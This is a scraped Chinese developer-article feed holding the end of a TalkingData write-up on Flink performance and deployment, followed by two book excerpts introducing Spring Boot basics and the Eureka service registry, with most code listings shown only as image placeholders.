              ParameterizedType parameterizedType, TypeInformation<IN1> in1Type, TypeInformation<IN2> in2Type) {
           checkNotNull(clazz);
           // 尝试将 clazz转换为 PrimitiveArrayTypeInfo, BasicArrayTypeInfo, ObjectArrayTypeInfo
           // BasicTypeInfo, PojoTypeInfo 等,具体源码已省略
          //...
        
           //如果上述尝试不成功 , 则return a generic type
           return new GenericTypeInfo<OUT>(clazz);
        }
        • 注册 subtypes: 通过 StreamExecutionEnvironment 或 ExecutionEnvironment 的实例的 registerType(clazz) 方法注册我们的数据类及其子类、其字段的类型。如果 Flink 对类型知道的越多,性能会更好
        • 如果还想做进一步的优化,Flink 还允许用户注册自己定制的序列化器,手动创建自己类型的 TypeInformation,具体可以参考 Flink 官网:[3];

        在我们的实践中,最初为了扩展性,在 operator 之间传递的数据为 JsonNode,但是我们发现性能达不到预期,因此将 JsonNode 改成了符合 POJOs 规范的类型,在 1.1.x 的 Flink 版本上直接获得了超过 30% 的性能提升。在我们调用了 Flink 的 Type Hint 和 env.getConfig().enableForceAvro() 后,性能得到进一步提升。这些方法一直沿用到了 1.3.x 版本。

        在升级至 1.7.x 时,如果使用 env.getConfig().enableForceAvro() 这个配置,我们的代码会引起校验空字段的异常。因此我们取消了这个配置,并尝试使用 Kyro 进行序列化,并且注册我们的类型的所有子类到 Flink 的 ExecutionEnvironment 中,目前看性能尚可,并优于旧版本使用 Avro 的性能。但是最佳实践还需要经过比较和压测 KryoSerializerAvroUtils.getAvroUtils().createAvroSerializerPojoSerializer 才能总结出来,大家还是应该根据自己的业务场景和数据类型来合理挑选适合自己的 serializer。

        4. Standalone 模式下 job 的 deploy 与资源隔离共享

        结合我们之前的使用经验,Flink 的 standalone cluster 在发布具体的 job 时,会有一定的随机性。举个例子,如果当前集群总共有 2 台 8 核的机器用以部署 TaskManager,每台机器上一个 TaskManager 实例,每个 TaskManager 的 TaskSlot 为 8,而我们的 job 的并行度为 12,那么就有可能会出现下图的现象:

        12

        第一个 TaskManager 的 slot 全被占满,而第二个 TaskManager 只使用了一半的资源!资源严重不平衡,随着 job 处理的流量加大,一定会造成 TM1 上的 task 消费速度慢,而 TM2 上的 task 消费速度远高于 TM1 的 task 的情况。假设业务量的增长迫使我们不得不扩大 job 的并行度为 24,并且扩容2台性能更高的机器(12核),在新的机器上,我们分别部署 slot 数为 12 的 TaskManager。经过扩容后,集群的 TaskSlot 的占用可能会形成下图:

        14

        新扩容的配置高的机器并没有去承担更多的 Task,老机器的负担仍然比较严重,资源本质上还是不均匀!

        除了 standalone cluster 模式下 job 的发布策略造成不均衡的情况外,还有资源隔离差的问题。因为我们在一个 cluster 中往往会部署不止一个 job,而这些 job 在每台机器上都共用 JVM,自然会造成资源的竞争。起初,我们为了解决这些问题,采用了如下的解决方法:

        1. 将 TaskManager 的粒度变小,即一台机器部署多个实例,每个实例持有的 slot 数较少;
        2. 将大的业务 job 隔离到不同的集群上。

        这些解决方法增加了实例数和集群数,进而增加了维护成本。因此我们决定要迁移到 on yarn 上,目前看 Flink on yarn 的资源分配和资源隔离确实比 standalone 模式要优秀一些。

        四、总结与展望

        Flink 在 2016 年时仅为星星之火,而只用短短两年的时间就成长为了当前最为炙手可热的流处理平台,而且大有统一批与流之势。经过两年的实践,Flink 已经证明了它能够承接 TalkingData 的 App Analytics 和 Game Analytics 两个产品的流处理需求。接下来我们会将更复杂的业务和批处理迁移到 Flink 上,完成集群部署和技术栈的统一,最终实现图 5 中 Flink on yarn cluster 的规划,以更少的成本来支撑更大的业务量。

        参考资料:

        [1]https://cwiki.apache.org/confluence/display/FLINK/Data+exchange+between+tasks
        [2]https://flink.apache.org/2019/06/05/flink-network-stack.html
        [3]https://ci.apache.org/projects/flink/flink-docs-release-1.7/dev/types_serialization.html#type-hints-in-the-java-api
        [4]Flink Slot 详解与 Job Execution Graph 优化

        了解更多 Flink 企业级应用案例可关注 Flink Forward Asia 企业实践专场,届时来自字节跳动、滴滴出行、快手、Bilibili、网易、爱奇艺、中国农业银行、奇虎360、贝壳找房、奇安信等众多一线大厂技术专家现场分享 Flink 在各行业的应用效果与探索思路。

        大会倒计时 25 天!11 月 28-30 日,北京国家会议中心,扫描下方二维码立刻报名,来参与一场思维升级的技术盛宴~

        点击了解更多大会议程:https://developer.aliyun.com/special/ffa2019-conference?spm=a2c6h.13239638.0.0.21f27955RWcLlb

        11月28日下午,企业实践专题分享

        _1

        11月29日上午,企业实践专题分享

        _2

        ]]>
        带你读《Spring Cloud微服务:入门、实战与进阶》之二:实战前的准备工作 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第三章

        第2章

        实战前的准备工作
        工欲善其事,必先利其器。在开始学习之前,最重要的事情就是准备开发环境了,各位读者需要准备 JDK1.8、Maven3.3.3、Spring Tools 4 for Eclipse。为了保证读者在实践的时候所用及所见跟本书介绍的一样,建议大家的环境跟本书所用的一致。本书适合有一定开发经验的朋友,故在环境配置这块不会讲得太细,都是一些非常基础的东西。当然,每个人的开发环境在某些方面肯定是不一样的,比如有的人用Windows,有的人用Mac,有什么问题大家可以直接联系笔者,或者上网查资料。

        2.1 开发环境的准备

        开发环境的准备主要涉及三个方面:JDK、Maven、Spring Tools 4 for Eclipse。
        1. JDK
        JDK 的版本用1.8即可,环境变量大家自行去配置。配置好环境变量,在命令行中输入“java –version”能够显示出版本信息即可。笔者这边用的是 Mac 的命令行,Windows 上面用 cmd。

        image.png

        2. Maven
        Maven 是用于项目构建的,本书所用的版本是 3.3.3。安装完之后也需要配置环境变量,配置好后同样需要在命令行中输入“mvn –version”进行检测。

        image.png

        3. Spring Tools 4 for Eclipse
        大家可以选择自己熟悉的开发工具,不一定要用Spring Tools 4 for Eclipse,Spring Tools 4 for Eclipse下载的地址:http://spring.io/tools
        下载完成后,还需要安装Lombok插件,本书的示例代码会采用Lombok来简化get,set方法。安装方式可参考http://cxytiandi.com/blog/detail/6813

        2.2 Spring Boot入门

        Spring Cloud 基于 Spring Boot 搭建,本节会简单介绍一下 Spring Boot 的使用方法,如需学习更多 Spring Boot 相关的内容,可以关注笔者的微信公众号“猿天地”,获取更多
        信息。

        2.2.1 Spring Boot简介

        Spring Boot 是由 Pivotal 团队提供的全新框架,其设计目的是简化新 Spring 应用的初始搭建以及开发过程。该框架使用了特定的方式进行配置,从而使开发人员不再需要定义样板化的配置。Spring Boot 致力于在蓬勃发展的快速应用开发领域(rapid application development)成为领导者。
        在使用 Spring Boot 之前,我们需要搭建一个项目框架并配置各种第三方库的依赖,还需要在 XML 中配置很多内容。Spring Boot 完全打破了我们之前的使用习惯,一分钟就可以创建一个 Web 开发的项目;通过 Starter 的方式轻松集成第三方的框架;去掉了XML 的配置,全部用注解代替。
        Spring Boot Starter 是用来简化 jar 包依赖的,集成一个框架只需要引入一个Starter,然后在属性文件中配置一些值,整个集成的过程就结束了。不得不说,Spring Boot 在内部做了很多的处理,让开发人员使用起来更加简单了。
        下面笔者总结了一些使用 Spring Boot 开发的优点:

        • 基于 Spring 开发 Web 应用更加容易。
        • 采用基于注解方式的配置,避免了编写大量重复的 XML 配置。
        • 可以轻松集成 Spring 家族的其他框架,比如 Spring JDBC、Spring Data 等。
        • 提供嵌入式服务器,令开发和部署都变得非常方便。

        2.2.2 搭建Spring Boot项目

        在Spring Tools 4 for Eclipse中依次选择 File -> New -> Maven Project,然后在出现的界面中按图2-1 所示增加相关信息。
        完了上述操作之后,在 pom.xml 中添加 Spring Boot 的依赖,如代码清单 2-1 所示。编写启动类,如代码清单 2-2 所示。

        image.png

        image.png

        启动类使用了 @SpringBootApplication 注解,这个注解表示该类是一个 Spring Boot 应用。直接运行 App 类即可启动,启动成功后在控制台输出信息,默认端口是 8080。
        Tomcat started on port(s): 8080 (http)
        可以看到,我们只在 pom.xml 中引入了一个 Web 的 Starter,然后创建一个普通的 Java 类,一个 Main 方法就可以启动一个 Web 项目。与之前的使用方式相比,这种方式简单很多。以前需要配置各种 Spring 相关的包,还需要配置 web.xml 文件,还需要将项目放入Tomcat 中去执行,搭建项目的过程还特别容易出错,会出现各种 jar 包冲突。有了 Spring Boot 后这些问题都解决了。
        我们之所以能够通过一个 Main 方法启动一个 Web 服务,是因为 Sprig Boot 中内嵌了 Tomcat,然后通过内嵌的 Tomcat 来提供服务。当然,我们也可以使用别的容器来替换 Tomcat, 比如 Undertow 或 Jetty。
        Spring Tools 4 for Eclipse还为我们提供了更加便捷的项目创建方式,在File -> New选项中有Spring Starter Project,可以直接选择Spring Boot的版本以及需要依赖的第三方包,直接生成Spring Boot项目,不用再去手动配置Maven依赖。这个功能和https://start.spring.io/提供的是同一个功能,方便快速搭建Spring Boot项目脚手架。

        2.2.3 编写第一个REST接口

        本节将创建一个控制器,编写第一个 REST 接口,访问地址使用 /hello,如代码清单 2-3 所示。

        image.png

        @RestController 是 @Controller 和 @ResponseBody 的组合注解,可以直接返回 Json 格式数据。@GetMapping 其实就是 @RequestMapping(method = RequestMethod.GET),通过访问http://localhost:8080/hello 可以看到输出的结果“ hello ”。

        2.2.4 读取配置文件

        在以前的项目中我们主要在 XML 文件中进行框架配置,业务的相关配置会放在属性文件中,然后通过一个属性读取的工具类来读取配置信息。在 Spring Boot 中我们不再需要使用这种方式去读取数据了。Spring Boot 中的配置通常放在 application.properties 中,读取配置信息非常方便,总共分为 3 种方式。
        (1)Environment:可以通过 Environment 的 getProperty 方法来获取想要的配置信息, 如代码清单 2-4 所示。

        image.png

        (2)@Value:可以注入具体的配置信息,如代码清单 2-5 所示。

        image.png

        (3)自定义配置类:prefix 定义配置的前缀,如代码清单 2-6 所示。

        image.png
        image.png

        读取配置的方法如代码清单 2-7 所示。

        image.png

        定义配置 application.properties 的方法如下:
        com.cxytiandi.name=yinjihuan

        2.2.5 profiles多环境配置

        在平时的开发中,项目会被部署到测试环境、生产环境,但是每个环境的数据库地址等配置信息都是不一样的。通过 profile 来激活不同环境下的配置文件就能解决配置信息不一样的问题。在 Spring Boot 中可以通过 spring.pro?les.active=dev 来激活不同环境下的配置。
        可以定义多个配置文件,每个配置文件对应一个环境,格式为application-环境.properties,如表2-1所示。

        image.png

        在开发环境中,可以通过修改 application.properties 中的 spring.profiles.active 的值来激活对应环境的配置,在部署的时候可以通过 java –jar xxx.jar --spring.profiles.active=dev 来指定使用对应的配置。

        2.2.6 热部署

        开发过程中经常会改动代码,此时若想看下效果,就不得不停掉项目然后重启。对于 Spring Boot 项目来说,启动时间是非常快的,在微服务的架构下,每个服务只关注自己的业务,代码量也非常小,这个启动时间是可以容忍的。对于那些臃肿的单体老项目,启动时间简直是浪费生命。虽然 Spring Boot 启动很快,但是我们还是要自己去重启。能不能做到有改动,它就会悄无声息地自己把改动的地方重新加载一遍?答案是肯定的,通过 spring-boot-devtools 就可以实现。
        只需要添加 spring-boot-devtools 的依赖即可实现热部署功能,如代码清单 2-8 所示。

        image.png

        注意:在 IDEA 中就算加了插件也是没有效果的,需要开启自动编译功能,开启方法如下:首先,如图2-2 所示进行操作。

        image.png

        然后,同时按下Shift+Ctrl+Alt+/,选择 Registry,如图2-3 所示。
        最后,重启 IDEA 就可以了。
        配置完热部署后,只要我们有保存操作,Spring Boot就会自动重新加载被修改的Class,我们再也不用手动停止、启动项目了。

        image.png

        2.2.7 actuator监控

        Spring Boot 提供了一个用于监控和管理自身应用信息的模块,它就是 spring-boot- starter-actuator。该模块使用起来非常简单,只需要加入依赖即可,如代码清单 2-9 所示。

        image.png

        启动项目我们会发现在控制台输出的内容中增加了图2-4 所示的信息。
        图2-4 所示的这些信息是 Actuator 模块提供的端点信息,具体如表 2-2 所示,通过访问这些端点我们可以得到很多监控信息。
        比如,我们访问/actuator/health可以得到下面的信息:
        {

        "status": "UP"

        }

        image.png

        UP表示当前应用处于健康状态,如果是DOWN就表示当前应用不健康。增加下面的配置可以让一些健康信息的详情也显示出来:
        management.endpoint.health.show-details=ALWAYS
        再次访问 /actuator/health,就可以得到健康状态的详细信息:
        {

        "status": "UP",
        "diskSpace": {
            "status": "UP",
            "total": 491270434816,
            "free": 383870214144,
            "threshold": 10485760
        }

        }
        大部分端点默认都不暴露出来,我们可以手动配置需要暴露的端点。如果需要暴露多个端点,可以用逗号分隔,如下所示:
        management.endpoints.web.exposure.include=configprops,beans
        如果想全部端点都暴露的话直接配置成下面的方式:
        management.endpoints.web.exposure.include=*
        关于这些监控的信息不再赘述,大家可以自行了解。后面我们会介绍如何使用Spring Boot Admin 在页面上更加直观地展示这些信息,目前都是Json格式的数据,不方便查看。

        2.2.8 自定义actuator端点

        在很多场景下,我们需要自定义一些规则来判断应用的状态是否健康,可以采用自定义端点的方式来满足多样性的需求。如果我们只是需要对应用的健康状态增加一些其他维度的数据,可以通过继承AbstractHealthIndicator来实现自己的业务逻辑。如代码清单 2-10 所示。

        image.png

        通过up方法指定应用的状态为健康,down方法指定应用的状态为不健康。withDetail方法用于添加一些详细信息。
        访问 /actuator/health,可以得到我们自定义的健康状态的详细信息:
        {

        "status": "UP", 
        "details": {
            "user": {
                "status": "UP", 
                "details": {
                    "status": true
                }
            }, 
            "diskSpace": {
                "status": "UP", 
                "details": {
                    "total": 249795969024, 
                    "free": 7575375872, 
                    "threshold": 10485760
                }
            }
        }

        }
        上面我们是在框架自带的health端点中进行扩展,还有一种需求是完全开发一个全新的端点,比如查看当前登录的用户信息的端点。自定义全新的端点很简单,通过@Endpoint注解就可以实现。如代码清单 2-11 所示。

        image.png

        访问/actuator/user可以看到返回的用户信息如下:
        [

        {
            "userName": "yinjihuan", 
            "userId": 1001
        }

        ]

        2.2.9 统一异常处理

        对于接口的定义,我们通常会有一个固定的格式,比如:
        {

        "status": true,
        "code": 200,
        "message": null,
        "data": [
            {
                "id": "101",
                "name": "jack"
            },
            {
                "id": "102",
                "name": "jason"
            }
        ]

        }
        但是,如果调用方在请求我们的 API 时把接口地址写错了,就会得到一个 404 错误:
        {

        "timestamp": 1492063521109, 
        "status": 404,
        "error": "Not Found",
        "message": "No message available",
        "path": "/rest11/auth"

        }
        后端服务会告诉我们哪个地址没找到,其实也挺友好。但是因为我们上面自定义的数据格式跟下面的不一致,所以当用户拿到这个返回的时候是无法识别的,其中最明显的是status 字段。我们自定义的是 boolean 类型,用来表示请求是否成功,这里返回的就是 Http 的状态码,所以我们需要在发生这种系统错误时也能返回我们自定义的那种格式,那就要定义一个异常处理类(见代码清单 2-12),通过这个类既可以返回统一的格式,也可以统一记录异常日志。

        image.png

        ResponseData 是我们返回格式的实体类,其发生错误时也会被捕获到,然后封装好返回格式并返回给调用方。最后关键的一步是,在 Spring Boot 的配置文件中加上代码清单2-13 所示配置。

        image.png

        然后当我们调用一个不存在的接口时,返回的错误信息就是我们自定义的那种格式了:
        {

        "status": false, "code": 404,
        "message": "No handler found for GET /rest11/auth", "data": null

        }
        最后贴上 ResponseData 的定义,如代码清单 2-14 所示。

        image.png

        2.2.10 异步执行

        异步调用就是不用等待结果的返回就执行后面的逻辑;同步调用则需要等待结果再执行后面的逻辑。
        通常我们使用异步操作时都会创建一个线程执行一段逻辑,然后把这个线程丢到线程池中去执行,代码如代码清单 2-15 所示。

        image.png

        这种方式尽管使用了Java的Lambda,但看起来没那么优雅。在Spring中有一种更简单的方式来执行异步操作,只需要一个 @Async 注解即可,如代码清单 2-16 所示。

        image.png

        我们可以直接在 Controller 中调用这个业务方法,它就是异步执行的,会在默认的线程池中去执行。需要注意的是,一定要在外部的类中去调用这个方法,如果在本类调用则不起作用,比如 this.saveLog()。最后在启动类上开启异步任务的执行,添加 @ EnableAsync 即可。
        另外,关于执行异步任务的线程池我们也可以自定义,首先我们定义一个线程池的配置类,用来配置一些参数,具体代码如代码清单 2-17 所示。

        image.png

        然后我们重新定义线程池的配置,如代码清单 2-18 所示。

        image.pngimage.png

        配置完之后我们的异步任务执行的线程池就是我们自定义的了,我们可以在属性文件里面配置线程池的大小等信息,也可以使用默认的配置:
        spring.task.pool.maxPoolSize=100
        最后讲一下线程池配置的拒绝策略。当我们的线程数量高于线程池的处理速度时,任务会被缓存到本地的队列中。队列也是有大小的,如果超过了这个大小,就需要有拒绝的策略,不然就会出现内存溢出。目前支持两种拒绝策略:

        • AbortPolicy:直接抛出 java.util.concurrent.RejectedExecutionException 异常。
        • CallerRunsPolicy:主线程直接执行该任务,执行完之后尝试添加下一个任务到线程池中,这样可以有效降低向线程池内添加任务的速度。

        建议大家用CallerRunsPolicy 策略,因为当队列中的任务满了之后,如果直接抛异常, 那么这个任务就会被丢弃。如果是 CallerRunsPolicy 策略,则会用主线程去执行,也就是同步执行,这样操作最起码任务不会被丢弃。

        2.2.11 随机端口

        在实际的开发过程中,每个项目的端口都是定好的,通过 server.port 可以指定端口。当一个服务想要启动多个实例时,就需要改变端口,特别是在我们后面进行 Spring Cloud 学习的时候,服务都会注册到注册中心里去,为了能够让服务随时都可以扩容,在服务启动的时候能随机生成一个可以使用的端口是最好不过的。在 Spring Boot 中,可以通过${random} 来生成随机数字,我们可以这样使用:
        server.port=${random.int[2000,8000]}
        通过 random.int 方法,指定随机数的访问,生成一个在 2000 到 8000 之间的数字,这样每次启动的端口就都不一样了。
        其实上面的方法虽然能够达到预期的效果,但是也会存在一些问题:如果这个端口已经在使用了,那么启动必然会报错。所以我们可以通过代码的方式来随机生成一个端口,然后检测是否被使用,这样就能生成一个没有被使用的端口。
        编写一个启动参数设置类,如代码清单 2-19 所示。

        image.png

        通过对启动参数进行遍历判断,如果有指定启动端口,后续就不自动生成了;如果没有指定,就通过 ServerPortUtils 获取一个可以使用的端口,然后设置到环境变量中。在application.properties 中通过下面的方式获取端口:
        server.port=${server.port}
        关于获取可用端口的代码如代码清单 2-20 所示。

        image.png

        获取可用端口的主要逻辑是指定一个范围,然后生成随机数字,最后通过 NetUtils 来检查端口是否可用。如果获取到可用的端口则直接返回,没有获取到可用的端口则执行回调逻辑,重新获取。检测端口是否可用主要是用 Socket 来判断这个端口是否可以被链接。相关的代码就不贴了,大家可以参考笔者 GitHub 上的示例代码。
        最后在启动类中调用端口即可使用,如代码清单 2-21 所示。

        image.png

        2.2.12 编译打包

        传统的Web项目在部署的时候,是编译出一个war包放到Tomcat的webapps目录下。而在Spring Boot构建的Web项目中则打破了这一传统部署的方式,它采用更加简单的内置容器方式来部署应用程序,只需要将应用编译打包成一个jar包,直接可以通过java –jar命令启动应用。
        在项目的pom.xml中增加打包的Maven插件,如代码清单 2-22 所示。

        image.png

        mainClass配置的是我们的启动入口类,配置完成后可以通过Maven的mvn clean package命令进行编译打包操作。编译完成后在target目录下会生成对应的jar包,部署的时候直接调用java –jar xx.jar即可启动应用。

        2.3 Spring Boot Starter自定义

        Spring Boot的便利性体现在,它简化了很多烦琐的配置,这对于开发人员来说是一个福音,通过引入各种Spring Boot Starter包可以快速搭建出一个项目的脚手架。
        目前提供的Spring Boot Starter包有:

        • spring-boot-starter-web:快速构建基于Spring MVC的Web项目,使用Tomcat做默认嵌入式容器。
        • spring-boot-starter-data-redis:操作Redis。
        • spring-boot-starter-data-mongodb:操作Mongodb。
        • spring-boot-starter-data-jpa:操作Mysql。
        • spring-boot-starter-activemq:操作Activemq。
        • ……

        自动配置非常方便,当我们要操作Mongodb的时候,只需要引入spring-boot-starter-data-mongodb的依赖,然后配置Mongodb的链接信息 spring.data.mongodb.uri = mongodb://localhost/test就可以使用MongoTemplate来操作数据,MongoTemplate的初始化工作全部交给Starter来完成。
        自动配置麻烦的是当出现错误时,排查问题的难度上升了。自动配置的逻辑都在Spring Boot Starter中,要想快速定位问题,就必须得了解Spring Boot Starter的内部原理。接下来我们自己动手来实现一个Spring Boot Starter。

        2.3.1 Spring Boot Starter项目创建

        创建一个项目spring-boot-starter-demo,pom.xml配置如代码清单 2-23 所示。

        image.png

        创建一个配置类,用于在属性文件中配置值,相当于spring.data.mongo这种形式,如代码清单2-24所示。

        image.png

        @ConfigurationProperties指定了配置的前缀,也就是spring.user.name=XXX
        再定义一个Client,相当于MongoTemplate,里面定一个方法,用于获取配置中的值, 如代码清单 2-25 所示。

        image.png

        2.3.2 自动创建客户端

        一个最基本的Starter包定义好了,但目前肯定是不能使用UserClient ,因为我们没有自动构建UserClient 的实例。接下来开始构建UserClient,如代码清单 2-26 所示。

        image.pngimage.png

        Spring Boot会默认扫描跟启动类平级的包,假如我们的Starter跟启动类不在同一个主包下,如何能让UserAutoConfigure 生效?
        在resources下创建一个META-INF文件夹,然后在META-INF文件夹中创建一个spring.factories文件,文件中指定自动配置的类:
        org.springframework.boot.autoconfigure.EnableAutoConfiguration=
        com.cxytiandi.demo.UserAutoConfigure
        Spring Boot启动时会去读取spring.factories文件,然后根据配置激活对应的配置类,至此一个简单的Starter包就实现了。

        2.3.3 使用Starter

        现在可以在其他的项目中引入这个Starter包,如代码清单 2-27 所示。

        image.png

        引入之后就直接可以使用UserClient,UserClient 在项目启动的时候已经自动初始化好, 如代码清单 2-28 所示。

        image.png

        属性文件中配置name的值和开启UserClient:
        spring.user.name=yinjihuan
        spring.user.enabled=true
        访问/user/name就可以返回我们配置的yinjihuan。

        2.3.4 使用注解开启Starter自动构建

        很多时候我们不想在引入Starter包时就执行初始化的逻辑,而是想要由用户来指定是否要开启Starter包的自动配置功能,比如常用的@EnableAsync这个注解就是用于开启调用方法异步执行的功能。
        同样地,我们也可以通过注解的方式来开启是否自动配置,如果用注解的方式,那么spring.factories就不需要编写了,下面就来看一下怎么定义启用自动配置的注解,如代码清单 2-29 所示。

        image.png

        这段代码的核心是@Import({UserAutoConfigure.class}),通过导入的方式实现把UserAutoConfigure实例加入SpringIOC容器中,这样就能开启自动配置了。
        使用方式就是在启动类上加上该注解,如代码清单 2-30 所示。

        image.png

        2.3.5 使用配置开启Starter自动构建

        在某些场景下,UserAutoConfigure中会配置多个对象,对于这些对象,如果不想全部配置,或是想让用户指定需要开启配置的时候再去构建对象,这个时候我们可以通过@ConditionalOnProperty来指定是否开启配置的功能,如代码清单 2-31 所示。

        image.png

        通过上面的配置,只有当启动类加了@EnableUserClient并且配置文件中spring.user.enabled=true的时候才会自动配置UserClient。

        2.3.6 配置Starter内容提示

        在自定义Starter包的过程中,还有一点比较重要,就是对配置的内容项进行提示,需要注意的是,Eclipse中是不支持提示的,Spring Tools 4 for Eclipse中可以提示,如图2-5所示:

        image.png

        定义提示内容需要在META-INF中创建一个spring-configuration-metadata.json文件, 如代码清单 2-32 所示。

        image.png

        • name:配置名
        • type:配置的数据类型
        • defaultValue:默认值

        2.4 本章小结

        本章带领大家学习了 Spring Boot 框架。Spring Boot 是构建 Spring Cloud 的基础,无论你是否要使用 Spring Cloud 来构建微服务,Spring Boot 都是 Web 开发的首选框架。从下章开始我们将正式进入 Spring Cloud 的世界,大家首先会学习到 Spring Cloud Eureka 服务注册中心。

        ]]>
        带你读《Spring Cloud微服务:入门、实战与进阶》之三:Eureka注册中心 Fri, 02 May 2025 09:39:04 +0800 点击查看第一章
        点击查看第二章

        第3章

        Eureka注册中心
        注册中心在微服务架构中是必不可少的一部分,主要用来实现服务治理功能,本章我们将学习如何用 Netflix 提供的 Eureka 作为注册中心,来实现服务治理的功能。

        3.1 Eureka

        Spring Cloud Eureka 是 Spring Cloud Netflix 微服务套件的一部分,基于 Netflix Eureka 做了二次封装,主要负责实现微服务架构中的服务治理功能。Spring Cloud Eureka 是一个基于 REST 的服务,并且提供了基于 Java 的客户端组件,能够非常方便地将服务注册到Spring Cloud Eureka 中进行统一管理。
        服务治理是微服务架构中必不可少的一部分,阿里开源的 Dubbo 框架就是针对服务治理的。服务治理必须要有一个注册中心,除了用 Eureka 作为注册中心外,我们还可以使用 Consul、Etcd、Zookeeper等来作为服务的注册中心。
        用过 Dubbo 的读者应该清楚,Dubbo中也有几种注册中心,比如基于Zookeeper、基于 Redis 等,不过用得最多的还是 Zookeeper方式。至于使用哪种方式都是可以的,注册中心无非就是管理所有服务的信息和状态。若用我们生活中的例子来说明的话,笔者觉得12306 网站比较合适。
        首先,12306网站就好比一个注册中心,顾客就好比调用的客户端,当他们需要坐火车时,就会登录12306 网站上查询余票,有票就可以购买,然后获取火车的车次、时间等,最后出发。
        程序也是一样,当你需要调用某一个服务的时候,你会先去 Eureka 中去拉取服务列表,查看你调用的服务在不在其中,在的话就拿到服务地址、端口等信息,然后调用。
        注册中心带来的好处就是,不需要知道有多少提供方,你只需要关注注册中心即可,就像顾客不必关心有多少火车在开行,只需要去12306网站上看有没有票就可以了。
        为什么Eureka 比 Zookeeper 更适合作为注册中心呢?主要是因为 Eureka 是基于 AP 原则构建的,而 ZooKeeper 是基于 CP 原则构建的。在分布式系统领域有个著名的 CAP 定理, 即 C 为数据一致性;A 为服务可用性;P 为服务对网络分区故障的容错性。这三个特性在任何分布式系统中都不能同时满足,最多同时满足两个。
        Zookeeper 有一个 Leader,而且在这个Leader 无法使用的时候通过 Paxos(ZAB)算法选举出一个新的 Leader。这个 Leader 的任务就是保证写数据的时候只向这个 Leader 写入, Leader 会同步信息到其他节点。通过这个操作就可以保证数据的一致性。
        总而言之,想要保证 AP 就要用 Eureka,想要保证 CP 就要用 Zookeeper。Dubbo 中大部分都是基于 Zookeeper 作为注册中心的。Spring Cloud 中当然首选 Eureka。

        3.2 使用 Eureka 编写注册中心服务

        首先创建一个 Maven 项目,取名为 eureka-server,在 pom.xml 中配置 Eureka 的依赖信息,如代码清单 3-1 所示。

        image.png
        image.png

        创建一个启动类 EurekaServerApplication,如代码清单 3-2 所示。

        image.png

        这里所说的启动类,跟我们之前讲的 Spring Boot 几乎完全一样,只是多了一个 @EnableEurekaServer 注解,表示开启 Eureka Server。
        接下来在 src/main/resources 下面创建一个 application.properties 属性文件,增加下面的配置:
        image.png

        eureka.client.register-with- eureka 一定要配置为 false,不然启动时会把自己当作客户端向自己注册,会报错。
        接下来直接运行EurekaServerApplication 就可以启动我们的注册中心服务了。我们在 application.properties 配置的端口是 8761,则可以直接通过 http://localhost:8761/ 去浏览器中访问,然后便会看到Eureka 提供的 Web 控制台,如图3-1 所示。

        image.png

        3.3 编写服务提供者

        3.3.1 创建项目注册到Eureka

        注册中心已经创建并且启动好了,接下来我们实现将一个服务提供者eureka-client-user-service 注册到 Eureka 中,并提供一个接口给其他服务调用。
        首先还是创建一个 Maven 项目,然后在 pom.xml 中增加相关依赖,如代码清单 3-3
        所示。

        image.png

        创建一个启动类App,代码如代码清单 3-4 所示。

        image.png

        启动类的方法与之前没有多大区别,只是注解换成@EnableDiscoveryClient,表示当前服务是一个 Eureka 的客户端。
        接下来在src/main/resources下面创建一个 application.properties属性文件,增加下面的配置:
        image.png

        eureka.client.serviceUrl.defaultZone 的地址就是我们之前启动的 Eureka 服务的地址,在启动的时候需要将自身的信息注册到 Eureka 中去。
        执行 App 启动服务,我们可以看到控制台中有输出注册信息的日志:
        DiscoveryClient_EUREKA-CLIENT-USER-SERVICE/eureka-client-user-service:192.168.31.245:8081 - registration status: 204
        我们可以进一步检查服务是否注册成功。回到之前打开的Eureka 的 Web 控制台,刷新页面,就可以看到新注册的服务信息了,如图3-2 所示。

        image.png

        3.3.2 编写提供接口

        创建一个 Controller,提供一个接口给其他服务查询,如代码清单 3-5 所示。

        image.png
        image.png

        重启服务,访问 http://localhost:8081/user/hello ,如果能看到我们返回的 Hello 字符串,就证明接口提供成功了。

        3.4 编写服务消费者

        3.4.1 直接调用接口

        创建服务消费者,消费我们刚刚编写的 user/hello 接口,同样需要先创建一个 Maven 项目eureka-client-article-service,然后添加依赖,依赖和服务提供者的一样,这里就不贴代码了。
        创建启动类App,启动代码与前面所讲也是一样的。唯一不同的就是 application.properties 文件中的配置信息:
        spring.application.name=eureka-client-article-service
        server.port=8082
        RestTemplate 是Spring提供的用于访问 Rest 服务的客户端,RestTemplate 提供了多种便捷访问远程 Http 服务的方法,能够大大提高客户端的编写效率。我们通过配置RestTemplate 来调用接口,如代码清单 3-6 所示。

        image.png

        创建接口,在接口中调用 user/hello 接口,代码如代码清单 3-7 所示。

        image.png
        image.png

        执行App启动消费者服务,访问/article/callHello 接口来看看有没有返回 Hello 字符串,如果返回了就证明调用成功。访问地址为 http://localhost:8082/article/callHello

        3.4.2 通过Eureka来消费接口

        上面提到的方法是直接通过服务接口的地址来调用的,和我们之前的做法一样,完全没有用到 Eureka 带给我们的便利。既然用了注册中心,那么客户端调用的时候肯定是不需要关心有多少个服务提供接口,下面我们来改造之前的调用代码。
        首先改造 RestTemplate 的配置,添加一个 @LoadBalanced 注解,这个注解会自动构造LoadBalancerClient 接口的实现类并注册到 Spring 容器中,如代码清单 3-8 所示。

        image.png

        接下来就是改造调用代码,我们不再直接写固定地址,而是写成服务的名称,这个名称就是我们注册到 Eureka 中的名称,是属性文件中的 spring.application.name,相关代码如代码清单 3-9 所示。

        image.png

        3.5 开启 Eureka 认证

        Eureka 自带了一个 Web 的管理页面,方便我们查询注册到上面的实例信息,但是有一个问题:如果在实际使用中,注册中心地址有公网 IP 的话,必然能直接访问到,这样是不安全的。所以我们需要对 Eureka 进行改造,加上权限认证来保证安全性。
        改造我们的 eureka-server,通过集成 Spring-Security 来进行安全认证。
        在 pom.xml 中添加 Spring-Security 的依赖包,如代码清单 3-10 所示。

        image.png

        然后在 application.properties 中加上认证的配置信息:
        spring.security.user.name=yinjihuan #用户名
        spring.security.user.password=123456 #密码
        增加Security配置类:

        image.png

        重新启动注册中心,访问 http://localhost:8761/ ,此时浏览器会提示你输入用户名和密码,输入正确后才能继续访问 Eureka 提供的管理页面。
        在 Eureka 开启认证后,客户端注册的配置也要加上认证的用户名和密码信息:
        eureka.client.serviceUrl.defaultZone=

                    http://yinjihuan:123456@localhost:8761/eureka/

        3.6 Eureka高可用搭建

        3.6.1 高可用原理

